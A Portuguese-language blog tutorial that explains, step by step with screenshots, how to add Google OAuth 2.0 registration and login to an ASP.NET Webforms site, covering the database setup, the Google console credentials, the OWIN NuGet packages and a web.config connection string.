<br /></div>
<hr />
<script src="https://bitbucket.org/alunosnet/secure_php/src/49f93c4f6fcca021cf54df32ab3e0576dfc4a4d3/login2.php?embed=t"></script>
<br />
<hr />
<br />Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-67697074299584359392016-06-14T11:42:00.002-07:002016-06-14T11:42:49.409-07:00Google OAuth 2.0 em ASPX<div class="separator" style="clear: both; text-align: justify;">
Neste artigo vamos explorar a identificação de utilizadores através de serviços externos à aplicação web, nomeadamente através de uma conta de utilizador Google.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Para desenvolver o site vamos utilizar o Visual Studio 2015 recorrendo à tecnologia Webforms ASPX e com a linguagem de programação C#.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
O site vai incluir uma opção para registo do utilizador e outra para o login que permitirá o acesso a páginas privadas.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Começamos por criar um projeto no VS.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgib-Kykho7R-r-Ja55tbWZYfDLDMLEXJUBwWh6WqEhl18cbMPZEWgOcEE0UUkuGL89QCjL3MnzvuwtYfEW5JAGZ8pOTJDI9YtIb1s9EwjgC0YV2NfFqlMxCQmsSU0xuR18yjajz3Z3pMM3/s1600/Captura+de+Ecr%25C3%25A3+%2528199%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgib-Kykho7R-r-Ja55tbWZYfDLDMLEXJUBwWh6WqEhl18cbMPZEWgOcEE0UUkuGL89QCjL3MnzvuwtYfEW5JAGZ8pOTJDI9YtIb1s9EwjgC0YV2NfFqlMxCQmsSU0xuR18yjajz3Z3pMM3/s320/Captura+de+Ecr%25C3%25A3+%2528199%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<a name='more'></a><br /><br />
<div class="separator" style="clear: both; text-align: justify;">
De seguida escolhemos.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCzRsOr8xwDXU80NkN2Pu48CoFOkf_tRVXUOcAfS45LExn6ebPh265SWV8CsLqetYg8WesPZN4cEj9MmIakd1etYbV7xzjDyToWkUd-SzlUeH8v7IYp81zgq13cjldFmOw3RU_23W7d_Dh/s1600/Captura+de+Ecr%25C3%25A3+%2528200%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCzRsOr8xwDXU80NkN2Pu48CoFOkf_tRVXUOcAfS45LExn6ebPh265SWV8CsLqetYg8WesPZN4cEj9MmIakd1etYbV7xzjDyToWkUd-SzlUeH8v7IYp81zgq13cjldFmOw3RU_23W7d_Dh/s320/Captura+de+Ecr%25C3%25A3+%2528200%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Agora a base de dados. Vamos criar uma para guardar os utilizadores. Como não precisamos de guardar palavras passe basta guardar o email do utilizador, o nome, o estado da conta e o id, que será o campo chave.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Primeiro criar a base de dados.</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMZhp_boHIOVny0oY6HMnhCVy1PSRC1pmQ9LkUSen4sWduWKoxoVsN_5AxmvyYBHoUVtxkecT0xPDUW1ViGQq-RZdDhPUkmDdZMBxlcSbbkegocqdh8mPkFJyzf3PgI3IAQnC6kHUie0DW/s1600/Captura+de+Ecr%25C3%25A3+%2528201%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMZhp_boHIOVny0oY6HMnhCVy1PSRC1pmQ9LkUSen4sWduWKoxoVsN_5AxmvyYBHoUVtxkecT0xPDUW1ViGQq-RZdDhPUkmDdZMBxlcSbbkegocqdh8mPkFJyzf3PgI3IAQnC6kHUie0DW/s320/Captura+de+Ecr%25C3%25A3+%2528201%2529.png" width="303" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Depois escolher o formato e o nome da base de dados.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0LyOrA6mKEld_A_yujidlZFbb39rJIOpon5bo18ZljhPP63LvXjuj40WkQCvqYYfLDl7846pMJ1IFrY8rTJBsJBtFz8znBuAGRqDQe_l0nLnwyopsRQkpNVMeDU5Agx23c1kpSECuUdon/s1600/Captura+de+Ecr%25C3%25A3+%2528202%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0LyOrA6mKEld_A_yujidlZFbb39rJIOpon5bo18ZljhPP63LvXjuj40WkQCvqYYfLDl7846pMJ1IFrY8rTJBsJBtFz8znBuAGRqDQe_l0nLnwyopsRQkpNVMeDU5Agx23c1kpSECuUdon/s320/Captura+de+Ecr%25C3%25A3+%2528202%2529.png" width="318" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
E confirmar a sua criação.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-QdqN5vq__hv5LtNJenHAGze7QsENKlvWLHKhSFN4xo3aqRF7bGTj4f8C9jbdRrWCXI80XEDN5Jm7yDJL9A-Q522rDH3nZf60xg6uBBDtgrqpjaAXJ2Vu5KryqkxE9zJUCOgrmUWykUt/s1600/Captura+de+Ecr%25C3%25A3+%2528203%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="309" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI-QdqN5vq__hv5LtNJenHAGze7QsENKlvWLHKhSFN4xo3aqRF7bGTj4f8C9jbdRrWCXI80XEDN5Jm7yDJL9A-Q522rDH3nZf60xg6uBBDtgrqpjaAXJ2Vu5KryqkxE9zJUCOgrmUWykUt/s320/Captura+de+Ecr%25C3%25A3+%2528203%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Agora adicionar a tabela de utilizadores.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs7DDH0JCYlAY9lz9CQll8MJpavfZRsX-sRqPSzdfj9gs5PhFH478Lf43JBNW-UCB8iR6NN7e66ysyA2YH3zajXCJ7wPDCW8z-DXmo-pLK-oShcom-lNJMQqZl41mzuG9s0-F6sR67PzCL/s1600/Captura+de+Ecr%25C3%25A3+%2528204%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs7DDH0JCYlAY9lz9CQll8MJpavfZRsX-sRqPSzdfj9gs5PhFH478Lf43JBNW-UCB8iR6NN7e66ysyA2YH3zajXCJ7wPDCW8z-DXmo-pLK-oShcom-lNJMQqZl41mzuG9s0-F6sR67PzCL/s320/Captura+de+Ecr%25C3%25A3+%2528204%2529.png" width="237" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Script para criar a tabela</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsIMknwrDztnSI69y4aX63bB41uwHqvXg7GZU6LuUc6OzV1xK8NfSuFs6E7-gZPgKHNNGeRsyJh8txZqESWUk3MA9ft2rN4XexwxlJkNxaWafjyhs6ArxJZ-o95k4fbb4HmtduCNazX0H/s1600/Captura+de+Ecr%25C3%25A3+%2528222%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfsIMknwrDztnSI69y4aX63bB41uwHqvXg7GZU6LuUc6OzV1xK8NfSuFs6E7-gZPgKHNNGeRsyJh8txZqESWUk3MA9ft2rN4XexwxlJkNxaWafjyhs6ArxJZ-o95k4fbb4HmtduCNazX0H/s320/Captura+de+Ecr%25C3%25A3+%2528222%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Fazer o update e verificar que não há nenhum erro.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXHroFbp7K3GQosrGkyoCcP8T80uSyvMx9p5XTtRPbYm1KpvS1PU1iN6aRpoIN-9zgELAL9gYoQnDLHoyB4ty_8TG_7L-cQIXfKjHdT2lfi6L58jclDENkviR2jF_yhTsDOMgtQGPo45f0/s1600/Captura+de+Ecr%25C3%25A3+%2528205%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXHroFbp7K3GQosrGkyoCcP8T80uSyvMx9p5XTtRPbYm1KpvS1PU1iN6aRpoIN-9zgELAL9gYoQnDLHoyB4ty_8TG_7L-cQIXfKjHdT2lfi6L58jclDENkviR2jF_yhTsDOMgtQGPo45f0/s320/Captura+de+Ecr%25C3%25A3+%2528205%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Após o update confirmar que a tabela foi criada, por ser necessário fazer refresh.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPUY4hui5F7gRVrE2T632JF067RDAzLIWITSgnP7C67OcfIokvGVW7P9GKQAMXlwLZrLLQropnpZSlWTB22BKRQprMwAoY-BCg6wI9yOGKOHDTQCkMV81KV1HyrnLL2gvBUQyvAHpPWY7O/s1600/Captura+de+Ecr%25C3%25A3+%2528207%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPUY4hui5F7gRVrE2T632JF067RDAzLIWITSgnP7C67OcfIokvGVW7P9GKQAMXlwLZrLLQropnpZSlWTB22BKRQprMwAoY-BCg6wI9yOGKOHDTQCkMV81KV1HyrnLL2gvBUQyvAHpPWY7O/s320/Captura+de+Ecr%25C3%25A3+%2528207%2529.png" width="214" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Agora que já temos a estrutura de dados criada vamos à consola de desenvolvimento da Google para criar um projeto com acesso às API de autenticação.</div>
<div class="separator" style="clear: both; text-align: justify;">
Para tal devemos clicar em Credentials (do lado esquerdo).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmS38gezUsx7i1E6JqbE95UfDUzHfi6383f41FI0lmaAHERXQXiw8XSYevKb2VDZ2pJKQa8H018lJokWuF9OpkNUp4ZbaQb_W7rNpXgH_B213jHg-VcqDbFlI414GzoUQjPZm0nFxFgQ7i/s1600/Captura+de+Ecr%25C3%25A3+%2528191%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmS38gezUsx7i1E6JqbE95UfDUzHfi6383f41FI0lmaAHERXQXiw8XSYevKb2VDZ2pJKQa8H018lJokWuF9OpkNUp4ZbaQb_W7rNpXgH_B213jHg-VcqDbFlI414GzoUQjPZm0nFxFgQ7i/s320/Captura+de+Ecr%25C3%25A3+%2528191%2529.png" width="320" /></a></div>
<br />
Depois Create a Project<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw4ml42y0Rh3pqXvCWTf7UT-felTrAMlBfYEcCJOQAzNvXVvhOheW2NAtGmheNRQr2PiPKKmLDbeZfmPNN4TPoMrU-bUctBMbege_nXE7CLYkwEhJoI8dZna8qyOYflWcYVfyfIWFlxpKN/s1600/Captura+de+Ecr%25C3%25A3+%2528192%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw4ml42y0Rh3pqXvCWTf7UT-felTrAMlBfYEcCJOQAzNvXVvhOheW2NAtGmheNRQr2PiPKKmLDbeZfmPNN4TPoMrU-bUctBMbege_nXE7CLYkwEhJoI8dZna8qyOYflWcYVfyfIWFlxpKN/s320/Captura+de+Ecr%25C3%25A3+%2528192%2529.png" width="320" /></a></div>
Atribuímos um nome e clicamos no botão Create.<br />
A seguir devemos escolher o tipo de credenciais a criar, neste caso OAuth client ID<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW9eLkMF1HhM26f6tYCUbpYCQzVeIuJBd1XdF0wWJH49pR5rO15C1RPwoeCgtS7DjQZ2mHkDqPVUW1xr702wUTTGSCVwMXJAi-QZCVs5_cyyF2ejKuOAIOTwC9Q0Wi8nyKvpFsfytOPAkt/s1600/Captura+de+Ecr%25C3%25A3+%2528193%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiW9eLkMF1HhM26f6tYCUbpYCQzVeIuJBd1XdF0wWJH49pR5rO15C1RPwoeCgtS7DjQZ2mHkDqPVUW1xr702wUTTGSCVwMXJAi-QZCVs5_cyyF2ejKuOAIOTwC9Q0Wi8nyKvpFsfytOPAkt/s320/Captura+de+Ecr%25C3%25A3+%2528193%2529.png" width="320" /></a></div>
<br />
Na opção seguinte escolhemos o tipo de aplicação, neste caso Web aplication, e fazemos Configure consent Screen, que é a página que o utilizador vai ver quando fizer o registo no nosso site com a sua conta Google.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic2SVKfM0473_CavMP4sLYzWrtgW_LlYNEUJdpp0IsOYeShM9Fw484V7tVbYd-LCytq0xF6C31wskBi9-7-yG6fquNXvwQgSdaODMQ7FUu0lT892yKn1BGD4_ryIjCXBPaPvOlMNvc7-vU/s1600/Captura+de+Ecr%25C3%25A3+%2528194%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic2SVKfM0473_CavMP4sLYzWrtgW_LlYNEUJdpp0IsOYeShM9Fw484V7tVbYd-LCytq0xF6C31wskBi9-7-yG6fquNXvwQgSdaODMQ7FUu0lT892yKn1BGD4_ryIjCXBPaPvOlMNvc7-vU/s320/Captura+de+Ecr%25C3%25A3+%2528194%2529.png" width="320" /></a></div>
<br />
No ecrã de consent devemos definir o nome da aplicação que será apresentado ao utilizador.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_13GAh77-XlXmHEx7Y6QLaLuLlyKrun_ZtPruRCnXw_zpVvfay-d7iuoH7tC6h2XQpEt2FEfnUi2x6GXJYMV5DqFUJb64Wt6_YJaoP5XrkofqWXlqZQdGQUXX-DPArpVRVG1LfYntC3ji/s1600/Captura+de+Ecr%25C3%25A3+%2528195%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_13GAh77-XlXmHEx7Y6QLaLuLlyKrun_ZtPruRCnXw_zpVvfay-d7iuoH7tC6h2XQpEt2FEfnUi2x6GXJYMV5DqFUJb64Wt6_YJaoP5XrkofqWXlqZQdGQUXX-DPArpVRVG1LfYntC3ji/s320/Captura+de+Ecr%25C3%25A3+%2528195%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
De seguida devemos indicar o links de redirecionamento para autenticação do utilizador, a porta http indicada deve coincidir com a do IIS express.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQJ2hPZ6TRul8eLHRT2hcdAuDgsqL8NjPv1bD1BI_ahqS1-NSVPgSu4f8rNtyOiBssfeGsmdhrU5k665sh96rrug3Dzke7ycy0oc3mmVJWOSzzRn_6EQU7bOgJ1wvJqLGUAMYibaDsky30/s1600/Captura+de+Ecr%25C3%25A3+%2528196%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQJ2hPZ6TRul8eLHRT2hcdAuDgsqL8NjPv1bD1BI_ahqS1-NSVPgSu4f8rNtyOiBssfeGsmdhrU5k665sh96rrug3Dzke7ycy0oc3mmVJWOSzzRn_6EQU7bOgJ1wvJqLGUAMYibaDsky30/s320/Captura+de+Ecr%25C3%25A3+%2528196%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
Por fim temos as credenciais que teremos de adicionar no nosso projeto para que este possa utilizar esta API. (As credenciais apresentadas já foram apagadas)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinXm8Xx6Um_O_fLgdJ45VJh3E62P3sDbEyy-huOhuz-xe0BZzbFbYJEpBO7vBACsv2aUWYFdiRWT_csjJoXGMn2tHwiGoDQ09BzQPYtBb5ZsyxkIDRmFPCR83Cf4aV7Bz_FaMHQyPoyIa8/s1600/Captura+de+Ecr%25C3%25A3+%2528197%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinXm8Xx6Um_O_fLgdJ45VJh3E62P3sDbEyy-huOhuz-xe0BZzbFbYJEpBO7vBACsv2aUWYFdiRWT_csjJoXGMn2tHwiGoDQ09BzQPYtBb5ZsyxkIDRmFPCR83Cf4aV7Bz_FaMHQyPoyIa8/s320/Captura+de+Ecr%25C3%25A3+%2528197%2529.png" width="320" /></a></div>
A nossa conta fica assim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1pDTcZSpLq5qRav7Kf-Yi4-9_srUTZDVsAfXS3vKW45AJ8NlC2Ja2yR2X1ps9sG_0lXAfJjZiHi5QqPgZj5zOQJPHX_nDFai5z6hrALiCNA3YkdB2D4TYN-bb0g119o3FV0vcplqaF3r5/s1600/Captura+de+Ecr%25C3%25A3+%2528198%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1pDTcZSpLq5qRav7Kf-Yi4-9_srUTZDVsAfXS3vKW45AJ8NlC2Ja2yR2X1ps9sG_0lXAfJjZiHi5QqPgZj5zOQJPHX_nDFai5z6hrALiCNA3YkdB2D4TYN-bb0g119o3FV0vcplqaF3r5/s320/Captura+de+Ecr%25C3%25A3+%2528198%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Agora temos de ativar a API Google+</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirT8aXI9_Hh_k7hRplGfbhsupB2LU_E3OGVDTE0P8Piw2HXMKOdDG9tRHy41OMO_lq8OphIHiYKBjWXeFMYnHJ6aZdkrdPQ3iTjk2uF0tqbYtHfjpsSNFahITY55CVQ52BMV7LFQ_762qe/s1600/Captura+de+Ecr%25C3%25A3+%2528218%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirT8aXI9_Hh_k7hRplGfbhsupB2LU_E3OGVDTE0P8Piw2HXMKOdDG9tRHy41OMO_lq8OphIHiYKBjWXeFMYnHJ6aZdkrdPQ3iTjk2uF0tqbYtHfjpsSNFahITY55CVQ52BMV7LFQ_762qe/s320/Captura+de+Ecr%25C3%25A3+%2528218%2529.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixvVV13O1752NL9uT86KwGgB4B1uHgO0PP-z_wK2Qq2eD9Assz8-qnKzXjV4gSboZ2PbOQfn6cDmD-tRMOgHtJRdDJt_DU8P60h4_mJMDwNXBqDYQVzkQub3D6YHdRkiYoT4oFokYGe8Z/s1600/Captura+de+Ecr%25C3%25A3+%2528219%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixvVV13O1752NL9uT86KwGgB4B1uHgO0PP-z_wK2Qq2eD9Assz8-qnKzXjV4gSboZ2PbOQfn6cDmD-tRMOgHtJRdDJt_DU8P60h4_mJMDwNXBqDYQVzkQub3D6YHdRkiYoT4oFokYGe8Z/s320/Captura+de+Ecr%25C3%25A3+%2528219%2529.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Sem este passo nada disto funciona.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
De volta ao nosso projeto vamos criar uma classe do tipo Owin Startup para definir a configuração inicial da nossa aplicação.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimuDRwcP8sBxMMQaS_y8FDTtQmm0FOaQcRD_kU70k8gE_AjCS1USFoNKWdGo-IO6WN-brU1_fuv3zDX06mGMdeMz_4BkrWNFBlixzXQYWgRNxI8Sw-ky4eDwpNKS0pKqg36eBC8J22f2Tm/s1600/Captura+de+Ecr%25C3%25A3+%2528214%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimuDRwcP8sBxMMQaS_y8FDTtQmm0FOaQcRD_kU70k8gE_AjCS1USFoNKWdGo-IO6WN-brU1_fuv3zDX06mGMdeMz_4BkrWNFBlixzXQYWgRNxI8Sw-ky4eDwpNKS0pKqg36eBC8J22f2Tm/s320/Captura+de+Ecr%25C3%25A3+%2528214%2529.png" width="320" /></a></div>
<br />
Nesta classe temos de indicar os códigos fornecidos anteriormente pela Google.<br />
<br />
O código da função de configuração fica assim:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1LRAyZ0g3cudpXA9xJel3NOmi9BWmy4gm6s2v04pNZ7geQBNPcRpUnze-m3ZB84lwZoRPh3Pz5TxGXPczln6eln306DF1GDBMsU0cQ0kZYDLI65pA63OF-jGhFffEDzfhsBXMwl5lwJwM/s1600/Captura+de+Ecr%25C3%25A3+%2528216%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1LRAyZ0g3cudpXA9xJel3NOmi9BWmy4gm6s2v04pNZ7geQBNPcRpUnze-m3ZB84lwZoRPh3Pz5TxGXPczln6eln306DF1GDBMsU0cQ0kZYDLI65pA63OF-jGhFffEDzfhsBXMwl5lwJwM/s320/Captura+de+Ecr%25C3%25A3+%2528216%2529.png" width="320" /></a></div>
<br />
Agora vamos criar a página de registo.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6vcWmzNpDkA0_M9FztT4KuFHu9_LqKuBL9sgZPO9Ry3mo43TnkG1U0MoeNiR-Rj5aX_RCLgPaVjGNlf_ydTWPF4N1NrYzbLI5oIe-mo6b1PSyrWVobnzAxUohb7Te2ca_CUWkzoKAuWXE/s1600/Captura+de+Ecr%25C3%25A3+%2528208%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6vcWmzNpDkA0_M9FztT4KuFHu9_LqKuBL9sgZPO9Ry3mo43TnkG1U0MoeNiR-Rj5aX_RCLgPaVjGNlf_ydTWPF4N1NrYzbLI5oIe-mo6b1PSyrWVobnzAxUohb7Te2ca_CUWkzoKAuWXE/s320/Captura+de+Ecr%25C3%25A3+%2528208%2529.png" width="320" /></a></div>
Atribuímos um nome.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoVWAe5X2BJbK55ajLFJ61CKd8ib3-Ra6FDY5kS9m0zL-S4bWIrhoHA2Qbp-sk0l83tkWRNZZKWc3iZjcjx8E9pDkHj5nq99I4agWUELW1ik1pjDteu9PiiccS5-W73ZDWhCo0HI1dUlTq/s1600/Captura+de+Ecr%25C3%25A3+%2528209%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoVWAe5X2BJbK55ajLFJ61CKd8ib3-Ra6FDY5kS9m0zL-S4bWIrhoHA2Qbp-sk0l83tkWRNZZKWc3iZjcjx8E9pDkHj5nq99I4agWUELW1ik1pjDteu9PiiccS5-W73ZDWhCo0HI1dUlTq/s320/Captura+de+Ecr%25C3%25A3+%2528209%2529.png" width="320" /></a></div>
E, como é muito simples, fica com o seguinte html.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_AXolSmNdgxbaQjr6Hr81pTtPCK_LIrpzipoKjFPz8Iq3eLW2hfm7RFXaQ6UE0o19R2HdEKSTWRsj_MxjJ8ZDrwhWYA_jJiwvF4UWh02U8-6xy8X-Gq3UGC5Ghyphenhyphen1947iuRqijGcnnSIW/s1600/Captura+de+Ecr%25C3%25A3+%2528210%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG_AXolSmNdgxbaQjr6Hr81pTtPCK_LIrpzipoKjFPz8Iq3eLW2hfm7RFXaQ6UE0o19R2HdEKSTWRsj_MxjJ8ZDrwhWYA_jJiwvF4UWh02U8-6xy8X-Gq3UGC5Ghyphenhyphen1947iuRqijGcnnSIW/s320/Captura+de+Ecr%25C3%25A3+%2528210%2529.png" width="320" /></a></div>
<br />
Agora temos de adicionar alguns pacotes NuGet, para isso abrimos a console de gestão de pacotes em Tools -> NuGet Package Manager -> Package Manager Console.<br />
Nesta janela executamos os seguintes comandos.<br />
<br />
install-package microsoft.owin.security.cookies<br />
install-package microsoft.owin.host.systemweb<br />
install-package microsoft.owin.security.google<br />
<br />
O código do botão que vai iniciar o processo de registo fica assim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzNYWFA30zRcRcWj3Nvm0RayV9p7aXfBwpVJ8pIHMs6YWHxKeCkM1Q-BUGdpbAyHZJFegAUQbyq8H1A8jrgWhu_MNqFR_KEs_K-daE0GxzcHbQosefflzMVEzMqiMGZyaNKDXUgS0niSnR/s1600/Captura+de+Ecr%25C3%25A3+%2528211%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzNYWFA30zRcRcWj3Nvm0RayV9p7aXfBwpVJ8pIHMs6YWHxKeCkM1Q-BUGdpbAyHZJFegAUQbyq8H1A8jrgWhu_MNqFR_KEs_K-daE0GxzcHbQosefflzMVEzMqiMGZyaNKDXUgS0niSnR/s320/Captura+de+Ecr%25C3%25A3+%2528211%2529.png" width="320" /></a></div>
Com este código fazemos aparecer a página de login da Google ao utilizador, de seguida este será redirecionado para um Http Handler que guardará os dados do utilizador na base de dados.<br />
<br />
Vamos criar uma string de ligação à base de dados e uma classe que ficará responsável pela interação com esta.<br />
<br />
Para a string de ligação vamos às propriedades da base de dados e escolhemos properties. Na janela que aparece copiamos a linha da Connection String. Agora adicionamos ao ficheiro Web.config a string de ligação.<br />
<br />
<connectionStrings><br />
<add name="sql" connectionString="Data Source=(LocalDB)\MSSQLLocalDB;AttachDbFilename=googleoauth.mdf;Integrated Security=True;Connect Timeout=30"/><br />
</connectionStrings><br />
<br />
Agora adicionamos um classe nova com o nome bd.<br />
<br />
Esta classe vai ter um construtor que estabelece a ligação à base de dados e um destrutor de fecha essa ligação.<br />
